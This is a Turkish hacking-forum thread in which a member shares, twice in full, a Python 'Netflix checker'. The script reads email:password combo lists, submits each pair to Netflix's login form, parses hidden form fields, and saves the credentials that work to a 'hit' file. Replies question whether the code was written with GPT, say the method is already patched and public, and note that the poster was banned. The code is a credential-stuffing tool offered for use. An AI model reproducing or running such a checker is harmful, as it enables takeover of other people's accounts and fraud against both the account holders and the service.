Open Source HTTP REQUEST ATAN NETFLIX CHECKER

  • Konuyu Başlatan Konuyu Başlatan Quantix
  • Başlangıç tarihi Başlangıç tarihi

Quantix

Platinum Üye
Katılım
26 Tem 2025
Mesajlar
202
Beğeniler
32
import json
import time
import os
import sys
import requests
from datetime import datetime
from colorama import init, Fore, Back, Style
import random
from pyfiglet import Figlet
import re

# Colorama'yı başlat
init(autoreset=True)

DEBUG = True # Debug modunu aç/kapat

def debug_log(msg):
if DEBUG:
with open('debug.txt', 'a', encoding='utf-8') as f:
f.write(msg + '\n')

# Config dosyasını oku
with open('config.json', 'r', encoding='utf-8') as f:
config = json.load(f)
COUNTRY = config.get('country', 'tr')

BASE_URL = f' {COUNTRY}'
LOGIN_URL = f'{BASE_URL}/login'
BROWSE_URL = f'{BASE_URL}/browse'

# Sayaçlar
hit = 0
bad = 0
retries = 0

# Oturum oluştur
session = requests.Session()
session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'DNT': '1',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'Cache-Control': 'max-age=0',
})

# ASCII başlık oluştur
def print_ascii_art():
f = Figlet(font='slant')
ascii_art = f.renderText('NETFLIX CHECKER')
colors = [Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN]
colored_art = ""
for line in ascii_art.split('\n'):
colored_art += random.choice(colors) + line + '\n'
print(colored_art)

# Animasyonlu yükleme çubuğu
def loading_animation():
for i in range(3):
for char in '|/-\\':
sys.stdout.write(Fore.YELLOW + '\rChecking ' + char + ' ')
sys.stdout.flush()
time.sleep(0.1)

# Renkli status bar
def print_status():
os.system('cls' if os.name == 'nt' else 'clear')
print_ascii_art()

hit_color = Fore.GREEN + Style.BRIGHT
bad_color = Fore.RED + Style.BRIGHT
retry_color = Fore.YELLOW + Style.BRIGHT

# Kutu çizimi
box_top = "╔" + "═"*50 + "╗"
box_middle = "║" + " "*50 + "║"
box_bottom = "╚" + "═"*50 + "╝"

print(Fore.CYAN + box_top)
print(Fore.CYAN + box_middle)

stats = f"║ {Fore.WHITE}HIT: {hit_color}{hit}{Fore.WHITE} | BAD: {bad_color}{bad}{Fore.WHITE} | RETRY: {retry_color}{retries}{Fore.WHITE} ║"
centered_stats = stats.center(54)
print(Fore.CYAN + centered_stats)

current_time = datetime.now().strftime("%H:%M:%S")
time_display = f"║ {Fore.WHITE}Time: {Fore.MAGENTA}{current_time}{Fore.WHITE} ║"
centered_time = time_display.center(54)
print(Fore.CYAN + centered_time)

print(Fore.CYAN + box_middle)
print(Fore.CYAN + box_bottom)

# Alt bilgi
print(f"\n{Fore.WHITE}Checking Netflix accounts... {Style.DIM}(Press Ctrl+C to exit)")

def get_auth_cookies():
"""Netflix'ten gerekli auth cookie'lerini al"""
try:
response = session.get(BASE_URL, timeout=10)
if 'Netflix' not in response.text:
debug_log("Ana sayfa yüklenemedi")
return False

# Netflix'in beklediği cookie'leri kontrol et
required_cookies = ['nfvdid', 'memclid']
for cookie in required_cookies:
if cookie not in session.cookies.get_dict():
debug_log(f"Gerekli cookie eksik: {cookie}")

return True
except Exception as e:
debug_log(f"Auth cookie alınırken hata: {str(e)}")
return False

def check_account(email, password):
global hit, bad, retries
debug_log(f"\n---\nChecking: {email}:{password}")

# Her hesap için yeni oturum başlat
session.cookies.clear()

if not get_auth_cookies():
retries += 1
return 'retry'

try:
# Login sayfasını al
login_page = session.get(LOGIN_URL, timeout=10)
if login_page.status_code != 200:
debug_log(f"Login sayfası alınamadı: {login_page.status_code}")
retries += 1
return 'retry'

# Gizli form alanlarını çıkar
auth_token_match = re.search(r'name="authURL" value="([^"]+)"', login_page.text)
flow_match = re.search(r'name="flow" value="([^"]+)"', login_page.text)
mode_match = re.search(r'name="mode" value="([^"]+)"', login_page.text)
action_match = re.search(r'name="action" value="([^"]+)"', login_page.text)

if not all([auth_token_match, flow_match, mode_match, action_match]):
debug_log("Form alanları bulunamadı")
retries += 1
return 'retry'

# Login verilerini hazırla
login_data = {
'userLoginId': email,
'password': password,
'rememberMe': 'true',
'flow': flow_match.group(1),
'mode': mode_match.group(1),
'action': action_match.group(1),
'withFields': 'userLoginId,password,rememberMe,nextPage',
'authURL': auth_token_match.group(1),
'nextPage': '',
'showPassword': ''
}

# Giriş isteği gönder
response = session.post(
LOGIN_URL,
headers={
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': LOGIN_URL,
'Origin': BASE_URL
},
data=login_data,
allow_redirects=False,
timeout=15
)

debug_log(f"Response status: {response.status_code}")

# Başarılı giriş kontrolü (302 yönlendirme)
if response.status_code == 302:
location = response.headers.get('Location', '')
if '/browse' in location or '/SwitchProfile' in location:
# Profil seçme ekranı kontrolü
profile_check = session.get(BROWSE_URL, timeout=10)
if profile_check.status_code == 200:
profile_keywords = [
'profile-gate-label',
'profile-choices-page',
'profile-icon',
'list-profiles-container',
'choose-profile'
]
if any(keyword in profile_check.text for keyword in profile_keywords):
hit += 1
with open('hit.txt', 'a', encoding='utf-8') as f:
f.write(f"{email}:{password}\n")
debug_log("Sonuç: HIT (profil seçme ekranı)")
return 'hit'
elif '/browse' in profile_check.url:
hit += 1
with open('hit.txt', 'a', encoding='utf-8') as f:
f.write(f"{email}:{password}\n")
debug_log("Sonuç: HIT (doğrudan giriş)")
return 'hit'

# Hata mesajı kontrolü
if response.status_code == 200:
error_messages = [
'Bu e-posta adresi ile bağlantılı bir hesap bulamadık',
'parola yanlış',
'Lütfen geçerli bir tel no veya e-posta adresi girin',
'Sorry, we can\'t find an account with this email address',
'Incorrect password'
]

for msg in error_messages:
if msg in response.text:
bad += 1
with open('bad.txt', 'a', encoding='utf-8') as f:
f.write(f"{email}:{password}\n")
debug_log(f"Sonuç: BAD ({msg})")
return 'bad'

# Diğer durumlar
retries += 1
debug_log("Sonuç: RETRY (bilinmeyen durum)")
debug_log(f"Response text (ilk 500 karakter):\n{response.text[:500]}")
return 'retry'

except requests.exceptions.RequestException as e:
retries += 1
debug_log(f"RequestException: {str(e)}")
return 'retry'
except Exception as e:
retries += 1
debug_log(f"Exception: {str(e)}")
return 'retry'

def main():
global hit, bad, retries
if not os.path.exists('combo.txt'):
print(f'{Fore.RED}combo.txt bulunamadı!{Fore.RESET}')
return

with open('combo.txt', 'r', encoding='utf-8') as f:
combos = [line.strip() for line in f if line.strip()]

print_status()

for combo in combos:
if ':' not in combo:
continue
email, password = combo.split(':', 1)

# Animasyonlu yükleme efekti
loading_animation()

result = check_account(email, password)

# Sonuç renklendirme
if result == 'hit':
print(f'\n{Fore.GREEN}✓ HIT: {email[:3]}...{email.split("@")[0][-3:]}{Fore.RESET}')
elif result == 'bad':
print(f'\n{Fore.RED}✗ BAD: {email[:3]}...{email.split("@")[0][-3:]}{Fore.RESET}')
else:
print(f'\n{Fore.YELLOW}↻ RETRY: {email[:3]}...{email.split("@")[0][-3:]}{Fore.RESET}')

print_status()
time.sleep(0.8) # Netflix rate limit koruması

# Bitirme mesajı
print(f"\n{Fore.GREEN}╔══════════════════════════════════════╗")
print(f"║ {Fore.WHITE}İşlem tamamlandı!{Fore.GREEN} ║")
print(f"╚══════════════════════════════════════╝{Fore.RESET}")

if __name__ == '__main__':
main() iyi kuanmalar
 
import json
import time
import os
import sys
import requests
from datetime import datetime
from colorama import init, Fore, Back, Style
import random
from pyfiglet import Figlet
import re

# Colorama'yı başlat
init(autoreset=True)

DEBUG = True # Debug modunu aç/kapat

def debug_log(msg):
if DEBUG:
with open('debug.txt', 'a', encoding='utf-8') as f:
f.write(msg + '\n')

# Config dosyasını oku
with open('config.json', 'r', encoding='utf-8') as f:
config = json.load(f)
COUNTRY = config.get('country', 'tr')

BASE_URL = f' {COUNTRY}'
LOGIN_URL = f'{BASE_URL}/login'
BROWSE_URL = f'{BASE_URL}/browse'

# Sayaçlar
hit = 0
bad = 0
retries = 0

# Oturum oluştur
session = requests.Session()
session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'DNT': '1',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'Cache-Control': 'max-age=0',
})

# ASCII başlık oluştur
def print_ascii_art():
f = Figlet(font='slant')
ascii_art = f.renderText('NETFLIX CHECKER')
colors = [Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN]
colored_art = ""
for line in ascii_art.split('\n'):
colored_art += random.choice(colors) + line + '\n'
print(colored_art)

# Animasyonlu yükleme çubuğu
def loading_animation():
for i in range(3):
for char in '|/-\\':
sys.stdout.write(Fore.YELLOW + '\rChecking ' + char + ' ')
sys.stdout.flush()
time.sleep(0.1)

# Renkli status bar
def print_status():
os.system('cls' if os.name == 'nt' else 'clear')
print_ascii_art()

hit_color = Fore.GREEN + Style.BRIGHT
bad_color = Fore.RED + Style.BRIGHT
retry_color = Fore.YELLOW + Style.BRIGHT

# Kutu çizimi
box_top = "╔" + "═"*50 + "╗"
box_middle = "║" + " "*50 + "║"
box_bottom = "╚" + "═"*50 + "╝"

print(Fore.CYAN + box_top)
print(Fore.CYAN + box_middle)

stats = f"║ {Fore.WHITE}HIT: {hit_color}{hit}{Fore.WHITE} | BAD: {bad_color}{bad}{Fore.WHITE} | RETRY: {retry_color}{retries}{Fore.WHITE} ║"
centered_stats = stats.center(54)
print(Fore.CYAN + centered_stats)

current_time = datetime.now().strftime("%H:%M:%S")
time_display = f"║ {Fore.WHITE}Time: {Fore.MAGENTA}{current_time}{Fore.WHITE} ║"
centered_time = time_display.center(54)
print(Fore.CYAN + centered_time)

print(Fore.CYAN + box_middle)
print(Fore.CYAN + box_bottom)

# Alt bilgi
print(f"\n{Fore.WHITE}Checking Netflix accounts... {Style.DIM}(Press Ctrl+C to exit)")

def get_auth_cookies():
"""Netflix'ten gerekli auth cookie'lerini al"""
try:
response = session.get(BASE_URL, timeout=10)
if 'Netflix' not in response.text:
debug_log("Ana sayfa yüklenemedi")
return False

# Netflix'in beklediği cookie'leri kontrol et
required_cookies = ['nfvdid', 'memclid']
for cookie in required_cookies:
if cookie not in session.cookies.get_dict():
debug_log(f"Gerekli cookie eksik: {cookie}")

return True
except Exception as e:
debug_log(f"Auth cookie alınırken hata: {str(e)}")
return False

def check_account(email, password):
global hit, bad, retries
debug_log(f"\n---\nChecking: {email}:{password}")

# Her hesap için yeni oturum başlat
session.cookies.clear()

if not get_auth_cookies():
retries += 1
return 'retry'

try:
# Login sayfasını al
login_page = session.get(LOGIN_URL, timeout=10)
if login_page.status_code != 200:
debug_log(f"Login sayfası alınamadı: {login_page.status_code}")
retries += 1
return 'retry'

# Gizli form alanlarını çıkar
auth_token_match = re.search(r'name="authURL" value="([^"]+)"', login_page.text)
flow_match = re.search(r'name="flow" value="([^"]+)"', login_page.text)
mode_match = re.search(r'name="mode" value="([^"]+)"', login_page.text)
action_match = re.search(r'name="action" value="([^"]+)"', login_page.text)

if not all([auth_token_match, flow_match, mode_match, action_match]):
debug_log("Form alanları bulunamadı")
retries += 1
return 'retry'

# Login verilerini hazırla
login_data = {
'userLoginId': email,
'password': password,
'rememberMe': 'true',
'flow': flow_match.group(1),
'mode': mode_match.group(1),
'action': action_match.group(1),
'withFields': 'userLoginId,password,rememberMe,nextPage',
'authURL': auth_token_match.group(1),
'nextPage': '',
'showPassword': ''
}

# Giriş isteği gönder
response = session.post(
LOGIN_URL,
headers={
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': LOGIN_URL,
'Origin': BASE_URL
},
data=login_data,
allow_redirects=False,
timeout=15
)

debug_log(f"Response status: {response.status_code}")

# Başarılı giriş kontrolü (302 yönlendirme)
if response.status_code == 302:
location = response.headers.get('Location', '')
if '/browse' in location or '/SwitchProfile' in location:
# Profil seçme ekranı kontrolü
profile_check = session.get(BROWSE_URL, timeout=10)
if profile_check.status_code == 200:
profile_keywords = [
'profile-gate-label',
'profile-choices-page',
'profile-icon',
'list-profiles-container',
'choose-profile'
]
if any(keyword in profile_check.text for keyword in profile_keywords):
hit += 1
with open('hit.txt', 'a', encoding='utf-8') as f:
f.write(f"{email}:{password}\n")
debug_log("Sonuç: HIT (profil seçme ekranı)")
return 'hit'
elif '/browse' in profile_check.url:
hit += 1
with open('hit.txt', 'a', encoding='utf-8') as f:
f.write(f"{email}:{password}\n")
debug_log("Sonuç: HIT (doğrudan giriş)")
return 'hit'

# Hata mesajı kontrolü
if response.status_code == 200:
error_messages = [
'Bu e-posta adresi ile bağlantılı bir hesap bulamadık',
'parola yanlış',
'Lütfen geçerli bir tel no veya e-posta adresi girin',
'Sorry, we can\'t find an account with this email address',
'Incorrect password'
]

for msg in error_messages:
if msg in response.text:
bad += 1
with open('bad.txt', 'a', encoding='utf-8') as f:
f.write(f"{email}:{password}\n")
debug_log(f"Sonuç: BAD ({msg})")
return 'bad'

# Diğer durumlar
retries += 1
debug_log("Sonuç: RETRY (bilinmeyen durum)")
debug_log(f"Response text (ilk 500 karakter):\n{response.text[:500]}")
return 'retry'

except requests.exceptions.RequestException as e:
retries += 1
debug_log(f"RequestException: {str(e)}")
return 'retry'
except Exception as e:
retries += 1
debug_log(f"Exception: {str(e)}")
return 'retry'

def main():
global hit, bad, retries
if not os.path.exists('combo.txt'):
print(f'{Fore.RED}combo.txt bulunamadı!{Fore.RESET}')
return

with open('combo.txt', 'r', encoding='utf-8') as f:
combos = [line.strip() for line in f if line.strip()]

print_status()

for combo in combos:
if ':' not in combo:
continue
email, password = combo.split(':', 1)

# Animasyonlu yükleme efekti
loading_animation()

result = check_account(email, password)

# Sonuç renklendirme
if result == 'hit':
print(f'\n{Fore.GREEN}✓ HIT: {email[:3]}...{email.split("@")[0][-3:]}{Fore.RESET}')
elif result == 'bad':
print(f'\n{Fore.RED}✗ BAD: {email[:3]}...{email.split("@")[0][-3:]}{Fore.RESET}')
else:
print(f'\n{Fore.YELLOW}↻ RETRY: {email[:3]}...{email.split("@")[0][-3:]}{Fore.RESET}')

print_status()
time.sleep(0.8) # Netflix rate limit koruması

# Bitirme mesajı
print(f"\n{Fore.GREEN}╔══════════════════════════════════════╗")
print(f"║ {Fore.WHITE}İşlem tamamlandı!{Fore.GREEN} ║")
print(f"╚══════════════════════════════════════╝{Fore.RESET}")

if __name__ == '__main__':
main() iyi kuanmalar
gpt?
 
bu method çoktan fix yedi :D githubda public bir method
 
Bu kullanıcıyla herhangi bir iş veya ticaret yapmak istiyorsanız, forumdan uzaklaştırıldığını sakın unutmayın.
Merhaba GPT bana hiçbir sike yaramayan bir netflix checker yap renkli l0g falan olsn sekill süküllu
 

Şuanda konuyu görüntüleyen kullanıcılar

Geri
Üst Alt